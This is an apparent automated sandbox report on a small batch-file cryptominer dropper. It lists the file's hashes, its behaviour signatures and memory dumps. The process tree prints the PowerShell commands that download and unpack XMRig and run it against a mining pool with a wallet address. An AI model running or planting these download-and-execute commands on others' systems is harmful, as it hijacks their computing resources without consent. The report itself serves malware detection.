Analysis

  • max time kernel
    1795s
  • max time network
    1786s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/12/2023, 23:02

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2848
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4324

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          0486a56863bfdd550df66636d57f0d49

          SHA1

          5280197bc3bdfda30f4eb9af0fd18659fb5f65d5

          SHA256

          2c5b3c85371dfe165079f67bcd17ceca2e161154a37724e8fb3e9928ca35aa72

          SHA512

          b27d10a686bb9e5912ceac9a57ce5f1e72bcb51be7a582bb13529da6da11ba4e16546ef739bd3996db7ae5b2c97d246d441482a55e6f010fa176d89395284d62

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pflz51qm.4j0.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          3.2MB

          MD5

          4b2275e8df65719009314a0a23a45558

          SHA1

          95fbef4629f6ace3dba90df63a9825e503e3c7eb

          SHA256

          4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

          SHA512

          afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          e2fe87cc2c7dab8ca6516620dccd1381

          SHA1

          f714ec0448325435103519452610cf7aadf8bbba

          SHA256

          d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

          SHA512

          8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

        • memory/2172-4-0x000002AD9B240000-0x000002AD9B262000-memory.dmp

          Filesize

          136KB

        • memory/2172-7-0x00007FFFEB460000-0x00007FFFEBE4C000-memory.dmp

          Filesize

          9.9MB

        • memory/2172-8-0x000002ADB3770000-0x000002ADB3780000-memory.dmp

          Filesize

          64KB

        • memory/2172-10-0x000002ADB3770000-0x000002ADB3780000-memory.dmp

          Filesize

          64KB

        • memory/2172-9-0x000002ADB3980000-0x000002ADB39F6000-memory.dmp

          Filesize

          472KB

        • memory/2172-25-0x000002ADB3770000-0x000002ADB3780000-memory.dmp

          Filesize

          64KB

        • memory/2172-30-0x00007FFFEB460000-0x00007FFFEBE4C000-memory.dmp

          Filesize

          9.9MB

        • memory/2848-36-0x00007FFFEB460000-0x00007FFFEBE4C000-memory.dmp

          Filesize

          9.9MB

        • memory/2848-38-0x0000029257CE0000-0x0000029257CF0000-memory.dmp

          Filesize

          64KB

        • memory/2848-37-0x0000029257CE0000-0x0000029257CF0000-memory.dmp

          Filesize

          64KB

        • memory/2848-62-0x0000029257CE0000-0x0000029257CF0000-memory.dmp

          Filesize

          64KB

        • memory/2848-76-0x0000029257F10000-0x0000029257F22000-memory.dmp

          Filesize

          72KB

        • memory/2848-89-0x0000029257CD0000-0x0000029257CDA000-memory.dmp

          Filesize

          40KB

        • memory/2848-113-0x00007FFFEB460000-0x00007FFFEBE4C000-memory.dmp

          Filesize

          9.9MB

        • memory/4324-141-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-151-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-118-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-119-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-120-0x0000025E225A0000-0x0000025E225C0000-memory.dmp

          Filesize

          128KB

        • memory/4324-121-0x0000025E225E0000-0x0000025E22600000-memory.dmp

          Filesize

          128KB

        • memory/4324-122-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-123-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-124-0x0000025E225A0000-0x0000025E225C0000-memory.dmp

          Filesize

          128KB

        • memory/4324-125-0x0000025E225E0000-0x0000025E22600000-memory.dmp

          Filesize

          128KB

        • memory/4324-126-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-127-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-128-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-129-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-130-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-131-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-132-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-133-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-134-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-135-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-136-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-137-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-138-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-139-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-140-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-116-0x0000025E22280000-0x0000025E222A0000-memory.dmp

          Filesize

          128KB

        • memory/4324-142-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-143-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-144-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-145-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-146-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-147-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-148-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-149-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-150-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-117-0x0000025EB6110000-0x0000025EB6150000-memory.dmp

          Filesize

          256KB

        • memory/4324-152-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-153-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-154-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-155-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-156-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-157-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-158-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-159-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-160-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-161-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-162-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-163-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-164-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-165-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-166-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-167-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-168-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-169-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-170-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-171-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-172-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-173-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-174-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-175-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-176-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-177-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-178-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-179-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-180-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-181-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-182-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-183-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB

        • memory/4324-184-0x00007FF6C98F0000-0x00007FF6CA3F3000-memory.dmp

          Filesize

          11.0MB